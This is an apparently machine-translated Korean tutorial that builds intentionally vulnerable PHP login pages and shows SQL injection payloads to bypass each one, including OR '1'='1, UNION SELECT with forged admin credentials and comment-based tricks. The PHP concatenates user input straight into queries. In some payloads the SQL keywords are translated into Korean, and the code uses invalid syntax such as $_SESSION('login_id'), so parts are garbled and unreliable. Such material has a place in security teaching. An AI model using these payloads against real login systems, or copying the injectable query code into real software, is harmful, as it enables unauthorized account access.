제목에 넣기에는 너무 작아서 간단하게 썼습니다.
원래 제목은 로그인 로직 사례 개발, 각 우회 기법 연구, 연구 및 공격 방법 요약
안돼.
로그인 논리는 무엇입니까?
간단히 말해서, 로그인할 때 어떤 구조를 코딩합니까?
예를 들자면
식별과 인증을 분리하는 논리입니다!
보면 식별, 즉 ID를 먼저 확인한 다음 인증(비밀번호)을 비교하는 것을 볼 수 있습니다.
내가 만든 페이지는 다음과 같습니다
생각해보면 식별과 인증을 함께 할 수 있습니다!
id와 pw가 SQL에 있는지 확인하고 있는 것을 볼 수 있습니까?
그리고 있다면 성공적으로 로그인한 것입니다!
이것은 식별과 인증을 함께 수행하는 논리입니다.
여기에 질문이 있을 수 있습니다.
그렇다면 둘 중 어느 것이 더 좋을까요?
정답은 없습니다.
오히려 2차로 더 빠르게 할 수 있어서 좋아요!
다만, 2회째에 찔리면 1회째에도 찔린다는 이야기!
해커들이 SQL 인젝션 공격을 하기 때문에!
–SQL 인젝션??–
로그인 할 때 id와 pw를 씁니다.
하지만 거기에 SQL 문을 넣으면 어떻게 될까요??
예.
id와 pw를 찾는 SQL 문
$sql = “SELECT * FROM LOGIN_INFO WHERE id=’$login_id’ AND pw = ‘$login_pw’ “; 해보자.
그리고 일반 사용자가 일반 id와 pw를 작성한다고 가정해 보겠습니다.
ID:재배열
비밀번호 : 1234
그러면 어떻게 될까요?
POST를 통해 전달되고 해당 로그인 변수에 입력됩니다.
$sql = “id=’인 LOGIN_INFO에서 * 선택범위‘ 그리고 pw = ‘1234년‘ “;
굵은 글씨로 데이터를 볼 수 있습니다.
그런데 이때 해커가 아이디에 이상한 문자를 넣었다고 해봅시다.
ID: 재배열’ 또는 ‘1’ = ‘1
비밀번호 : 1111
특별한가요? 그러나 이것은 POST로도 전송됩니다.
그리고..
$sql = “id=’인 LOGIN_INFO에서 * 선택재배열’ 또는 ‘1’ = ‘1 ‘ 그리고 pw = ‘1111‘ “;
이렇게 들어가게 됩니다!
그럼 어떻게 될까요?
참고로 SQL은 AND 문을 먼저 계산합니다!
먼저 ‘1’ = ‘1’ AND pw = ‘1111’을 먼저 봅니다.
1=1은 물론 참이고, pw가 데이터베이스에서 1111이 아니면 거짓을 반환할 것입니다.
그러면 결국 이 AND 문은 거짓이 됩니다.
하지만!
id= rerange가 데이터베이스에 있었죠? 그러니 사실이 되세요
OR 문법 때문에 마지막에 false가 되어도 이 id가 true이더라도 아이디만 알고 있어도
로그인 성공!
이와 같이 sql 문을 삽입하여 본인이 아닌 다른 ID로 로그인하거나,
데이터베이스를 조작할 수 있는 SQL 인젝션 공격입니다!
아래는 예시를 보여주는 그림입니다.
자, 이제 기본 사항을 알았으니 실제로 사용해 봅시다!
물론 이 SQL 인젝션 공격에 대응할 수 있는 방법은 있다.
단, 개발자가 이에 대한 대응 방법을 모른다는 가정 하에
여러 로그인 로직을 만들어서 SQL 인젝션으로 공격해봅시다.
꽤 지루하겠지만 좋은 경험이 될 거예요!
.
.
.
.
시작하자
test.php: 로그인 화면
test_test.php : 메인 화면(어떤 아이디로 로그인했는지 출력)
test_process.php : 로그인 프로세스
text_logout.php : 로그아웃
이 과정에서 로그인 로직만 변경할 테니 나머지는 코드를 보여드리겠습니다.
-test_test.php
<!
doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Welcome!
HACKER!
</title>
</head>
<body>
<h1>Welcome!
tester!
</h1>
<p>
<?php
session_start(); //세션 시작
if(!
isset($_SESSION('login_id'))) {
//로그인하지 않은 사용자
header("Location: test.php"); //login 화면으로 바꾼다
exit(); //이 페이지를 바로 닫는다
}
echo "당신은 ", $_SESSION('login_id'), " 입니다!
환영합니다!
HAPPYHACKING!
!
";
?>
</p>
<p></p>
<form action="test_logout.php" method="POST">
<p><input type="submit" name="logout" value="로그아웃"></p>
</form>
<p></p>
</body>
</html>
-테스트.php
<!
doctype html>
<html>
<head>
<meta charset="utf-8">
<title>HAPPY HACKING!
</title>
</head>
<body>
<h1>Login_test</h1>
<form action="test_process.php" method="POST">
<p><input type="text" name="id" placeholder="ID입력"></p>
<p><input type="text" name="pw" placeholder="PW입력"></p>
<p><input type="submit" value="로그인하기"></p>
</form>
<p>
<?php session_start();
if (isset($_SESSION('login_error'))) {
echo $_SESSION('login_error');
unset($_SESSION('login_error'));
}
?>
</p>
</body>
</html>
-test_logout.php
<?php
session_start(); //세선 시작
// 로그아웃 버튼 클릭 세션 제거
if(isset($_POST('logout'))) {
session_unset();
session_destroy();
header("Location: test.php"); //로그인 페이지 이동
}
exit(); //코드 종료
?>
그리고 데이터베이스의 테스트 테이블에 id와 pw를 입력하겠습니다.
암호 해시가 있다고 가정합니다!
먼저 식별과 인증이 따로 이루어진다고 가정하자.
.
.
.
-1일
<?php
include 'DB_INFO.php'; //데이터 베이스 정보
$test="test";
//데이터베이스 연결
$conn = mysqli_connect($host,$username,$password,$test);
session_start(); //세션 시작
//오류시 종료
if(mysqli_connect_errno()) {
die("데이터 베이스 오류: ". mysqli_connect_error());
}
//POST로 전달된 정보 받기
$login_id = $_POST('id');
$login_pw = $_POST('pw');
//ID 찾는 쿼리문
$sql = "SELECT * FROM test WHERE id='$login_id'";
//쿼리 실행
$result = mysqli_query($conn, $sql);
//쿼리 실행 결과 확인
if(mysqli_num_rows($result) > 0 ) {
//ID있으니 비밀번호 검증
$row = mysqli_fetch_array($result);
$pw = $row('pw');
if($login_pw==$pw) {
//로그인 성공
session_regenerate_id(); //ID 자동 갱신
$_SESSION('login_id') = $row('id');
header("Location: test_test.php");
} else {
//로그인 실패
$_SESSION('login_error') = "비밀번호가 일치하지 않습니다.
";
header("Location: test.php");
}
}
else {
//로그인 실패
$_SESSION('login_error') = '아이디 또는 비밀번호가 일치 하지 않습니다.
';
header("Location: test.php");
}
?>
지금은 데이터베이스 오류가 끝날 때까지 계속 같을 것이므로 생략하고 업로드하겠습니다.
SQL 문으로 시작하는 논리를 계속 변경하겠습니다!
해보자
이유가 무엇일까요??
$sql = “선택 * FROM test WHERE id=’123123′ 또는 ‘1’ = ‘1 ‘ “; 이것을 먼저 실행하시겠습니까?
이 경우 OR문 때문에 마지막에 1=1이 참이기 때문에 그냥 참이 됩니다.
그래서 결과는 id만 넘기고 맨 위에 있는 값을 가져옵니다.
그리고 pw를 비교합니다.
pw가 맞다면 그렇게 불릴 거에요!
ID는 모르지만 PW는 알고 있는 상황입니다.
0%에 가까운 상황이니 그냥 냅두자
그래서… 조금 다르게 해보자
id: x’ 조합 선택 ‘1111’,’2222′,’3333
패스워드: 2222
select ‘1111’, ‘2222’, ‘3333 이게 뭐지?
데이터베이스에서 한 번 실행하면 확인할 수 있습니다!
그렇습니까?
x를 추가한 이유가 컬럼명을 얻기 위함이라고 생각하시면 편리합니다!
다음 예시로 보여드리겠습니다
이때 이상하게도 아이디는 1111, 패스는 2222, 이메일은 3333, 정보는 4444!
이때 패스가 2222로 쓰여 있다면???
로그인 성공!
물론!
이 공격 중에 보호해야 할 것이 있습니다.
select ‘1111’,’2222′ … 컬럼 수에 따라 작성해야 합니다.
로드할 컬럼이 4개라면 ‘4444’까지 작성해야 합니다.
로드할 열이 3개라면 ‘3333’까지 작성해야 합니다.
이 기능을 사용하여 관리자로 로그인하겠습니다.
id = x’ 조합 선택 ‘admin’,’2222′,’3333
패스 = 2222
이 경우 데이터베이스의 id는 admin, pw에는 2222, test_id??에는 3333이 입력됩니다.
데이터베이스 열의 순서대로 admin,2222,3333이 있는 것을 볼 수 있습니다!
다른 비밀번호를 입력했지만 관리자로 성공적으로 로그인했습니다.
.
.
.
.
이제 모든 공격 방법을 설명한 것 같습니다.
OR로 공격하는 방법
노조를 공격하는 방법
# (주석) 공격 방법 — 이 방법은 뒷문을 완전히 제거하여 다른 계정 로그인 시에도 편하게 작성하실 수 있습니다!
그러나 데이터 수집에 관해서는 그다지 유용하지 않습니다.
-2차 로그인 로직
//ID 찾는 쿼리문
$sql = "SELECT * FROM test WHERE (id='$login_id') ";
SQL에 ()가 있으면 어떻게 뚫을 수 있습니까?
동일하게 하면 마지막 때문에 에러가 납니다)
id: x’ 조합 선택 ‘관리자’,’2222′,’3333
패스 = 2222
$sql = “SELECT * FROM test WHERE (id=’x’ union select ‘admin’, ‘2222’, ‘3333’) “;
이러한 괄호 때문에 구문이 엉망인 것을 볼 수 있습니다.
그래서 x’ ) union select ‘admin’,’2222′,’3333′ # 입력합시다.
댓글을 다는 공격입니다!
#은 sql 문에서 # 뒤에 오는 모든 내용을 읽지 않도록 주석 처리하는 것입니다.
ID: 엑스’) 조합 선택 ‘admin’,’2222′,’3333′ #
패스워드 : 2222
-3차 로그인 로직
//ID 찾는 쿼리문
$sql = " SELECT id FROM test WHERE id='$login_id' ";
이번에는 열 ID만 가져옵니다!
이 경우 열 수를 일치시킵니다.
엑스’ 유니온 선택 ‘admin’을 선택해도 아이디에 admin이 입력됩니다.
비밀번호에 걸리게 됩니다!
그럼 어쩌지..
업데이트를 사용할 수 있습니다!
불가능합니다.
그러면 피해자가 알게 될 위험이 있습니다.
사실 이것은 함정입니다!
실수는 실수라는 뜻
전체 코드를 보여드릴 것이기 때문입니다.
//ID 찾는 쿼리문
$sql = " SELECT id FROM test WHERE id='$login_id' ";
//쿼리 실행
$result = mysqli_query($conn, $sql);
//쿼리 실행 결과 확인
if(mysqli_num_rows($result) > 0 ) {
//ID있으니 비밀번호 검증
$row = mysqli_fetch_array($result);
$pw = $row('pw');
if($login_pw==$pw) {
//로그인 성공
session_regenerate_id(); //ID 자동 갱신
$_SESSION('login_id') = $row('id');
header("Location: test_test.php");
} else {
//로그인 실패
$_SESSION('login_error') = "비밀번호가 일치하지 않습니다.
";
header("Location: test.php");
}
}
else {
//로그인 실패
$_SESSION('login_error') = '아이디 또는 비밀번호가 일치 하지 않습니다.
';
header("Location: test.php");
}
보면 어떤 것이 결과에 저장될 것 같나요? 아이디만 바로 저장됩니다!
SQL에 id만 가져왔기 때문에
pw는 null 값이 됩니다.
그래서 id에 admin만 입력하면
이런 실수를 하지 마세요!
-4일
//ID 찾는 쿼리문
$sql = " SELECT id,pw FROM test WHERE id='$login_id' ";
아!
이번에도 실수하지 않고 아이디와 비밀번호를 가져왔어요!
그러면 우리가 늘 사용하던 Union을 사용할 수 있습니다!
열의 개수는 2개이니 그에 맞게 사용하시면 되겠죠?
ID : 엑스’ 조합 선택 ‘관리자’,’2222
패스워드 : 2222
-5일
//ID 찾는 쿼리문
$sql = " SELECT id,pw FROM test WHERE (id='$login_id') ";
아하.. 그래 할 수 있어
id를 괄호로 묶어 열 id와 pw만 가져오는 경우도 있습니다.
뚫기 쉬워요
id: x’) 조합 선택 ‘admin’,’2222′ #
패스워드: 2222
-6일
이번에는 코드를 조금 바꿔보겠습니다.
//ID 찾는 쿼리문
$sql = " SELECT * FROM test WHERE id='$login_id' ";
//쿼리 실행
$result = mysqli_query($conn, $sql);
//쿼리 실행 결과 확인
if(mysqli_num_rows($result) > 0 ) {
//ID있으니 비밀번호 검증용 sql
$sql2 = " SELECT * FROM test WHERE pw='$login_pw' ";
//쿼리 실행
$result2 = mysqli_query($conn, $sql2);
if(mysqli_num_rows($result2) > 0) {
//로그인 성공
session_regenerate_id(); //ID 자동 갱신
$_SESSION('login_id') = $login_id;
header("Location: test_test.php");
} else {
//로그인 실패
$_SESSION('login_error') = "비밀번호가 일치하지 않습니다.
";
header("Location: test.php");
}
}
else {
//로그인 실패
$_SESSION('login_error') = '아이디 또는 비밀번호가 일치 하지 않습니다.
';
header("Location: test.php");
}
차이점을 발견할 수 있습니까??
pw를 sql을 사용하여 검색하도록 변경했습니다!
이 경우 방법은 무엇입니까?
간단합니다.
ID를 정상적으로 작성하십시오.
pw에 sql을 넣어 공격할 수 있습니다!
해보자
아이디 : 관리자
암호: ‘ 또는 ‘1’=’1
-7일
//ID있으니 비밀번호 검증용 sql
$sql2 = " SELECT * FROM test WHERE (pw='$login_pw') ";
아하.. 이번에는 괄호를 쳤다.
음… 역시 괄호를 붙여봅시다!
아이디: 관리자
pw : ‘) 또는 ‘1’=’1’#
눈치채셨을 수도 있을 것 같아요!
sql문으로 pw를 검증하면 유니온을 사용하지 않아도 OR문으로만 공격하고 true만 나오게 하여 뚫는다!
물론 별도의 본인확인 및 인증에 한한다.
-8일
이제 식별과 인증의 경우를 함께 살펴보자.
//ID,PW 찾는 쿼리문
$sql = "SELECT * FROM test WHERE id='$login_id' AND pw = '$login_pw' ";
//쿼리 실행
$result = mysqli_query($conn, $sql);
if(mysqli_num_rows($result) > 0) {
//ID,PW가 있으니 로그인 성공
$row = mysqli_fetch_array($result);
session_regenerate_id(); //ID 자동 갱신
$_SESSION('login_id') = $row('id');
header("Location: test_test.php");
} else {
//로그인 실패
$_SESSION('login_error') = "비밀번호가 일치하지 않습니다.
";
header("Location: test.php");
}
#을 사용하여 pw를 완전히 무시하는 쉬운 방법이 있습니다.
아이디 : 관리자’ #
비밀번호 : 1234
또 다른 방법
ID가 있습니다: admin’ OR ‘1’=’1
그러면 관리자가 아닌 다른 계정으로 로그인됩니다.
그 이유는 상단에서 데이터를 받기 때문입니다!
전술 한 바와.
-9일
//ID,PW 찾는 쿼리문
$sql = "SELECT * FROM test WHERE id='$login_id' AND pw = '$login_pw' ";
//쿼리 실행
$result = mysqli_query($conn, $sql);
if(mysqli_num_rows($result) > 0) {
//ID,PW가 있으니 로그인 성공
$row = mysqli_fetch_array($result);
session_regenerate_id(); //ID 자동 갱신
$_SESSION('login_id') = $row('id');
header("Location: test_test.php");
} else {
//로그인 실패
$_SESSION('login_error') = "비밀번호가 일치하지 않습니다.
";
header("Location: test.php");
}
다시 말하지만 괄호가 없습니다.
그럼 이번에는 괄호 안에 조심해서 써봅시다.
아이디: 관리자’) #
암호: 1234
-10일
//ID,PW 찾는 쿼리문
$sql = "SELECT * FROM test WHERE id='$login_id'
AND pw = '$login_pw' ";
오.. 이번에는 좀 새롭네요. 그렇게 해도 정상적으로 sql문이 실행된다.
저도 한번 해보겠습니다
아이디 : 관리자’ #
비밀번호 : 1234
안 돼요!
왜?
#의 의미를 좀 더 자세히 알아야 합니다.
#!
뒤에 있는 줄을 삭제하십시오.
그래서 집행문을 보면
$sql = “SELECT * FROM test WHERE id=’admin’ #
AND pw = ‘$login_pw’ “;
따라서 AND는 다음 줄에 있으므로 #은 쓸모가 없습니다.
그래서 가야 할 길은 무엇입니까?
OR 구문은 다음과 같습니다!
아이디: 관리자’ 또는 ‘1’=’1
암호: 1111
이렇게 쓰겠습니다.
SQL을 살펴보자
$sql = “선택 * FROM test WHERE id=’관리자’ 또는 ‘1’=’1 ‘
그리고 pw = ‘1111‘ “;
이 경우 AND가 먼저 실행되므로 id=’admin’ OR ‘true’입니다.
.
.
.
.
.
일단 오늘은 여기까지만 씁니다.
다음에 로그인 로직을 계속 추가하겠습니다.